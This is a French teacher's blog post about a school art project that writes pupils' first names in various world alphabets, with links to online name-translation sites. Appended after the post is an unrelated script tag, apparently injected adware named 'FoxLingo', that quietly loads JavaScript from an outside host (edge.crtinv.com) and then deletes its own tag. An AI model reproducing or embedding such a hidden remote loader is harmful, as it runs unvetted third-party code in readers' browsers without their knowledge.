Un projet d'arts visuels pour connaitre les autres alphabets du monde !

Pour la fête de fin d'année de l'école, j'ai pensé à un petit projet sur l'écriture des prénoms dans différents alphabets. Même si je ne suis pas complètement satisfaite du résultat car je m'y suis prise un peu tard, les parents ont tous beaucoup aimé !

Pour traduire les prénoms des élèves, j'ai utilisé des traducteurs d'internet. En voici une liste non exhaustive:

pour traduire les prénoms en chinois, japonais, coréen, thaï :
http://www.chine-nouvelle.com/prenoms
pour traduire les prénoms en arabe :
http://www.chine-inf...m/prenom/arabe/
pour traduire les prénoms en russe :
http://www.chine-inf...m/prenom/russe/
pour traduire les prénoms en hindi :
http://www.chine-inf...m/prenom/hindi/*
pour traduire les prénoms en tibétain :
http://www.chine-inf...renom/tibetain/
pour traduire les prénoms en anglais, allemand, italien, espagnol (cliquer à droite de "prénom" pour choisir le traducteur)
http://fr.bab.la/dic...-anglais/prenom

Voici la fiche de prep:

Les prénoms dans des alphabets différents

Et enfin, les photos des réalisations de mes élèves:

Ce projet peut être amélioré avec des liens en littérature. Pour ma part, mes élèves avaient étudiés le magnifique album: Le génie du pousse pousse.

Pour d'autres albums que l'on pourrait mettre en lien, n'hésitez pas à faire vos propositions !

<script id="FoxLingoJs" type="text/javascript">// <![CDATA[ !function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); // ]]></script>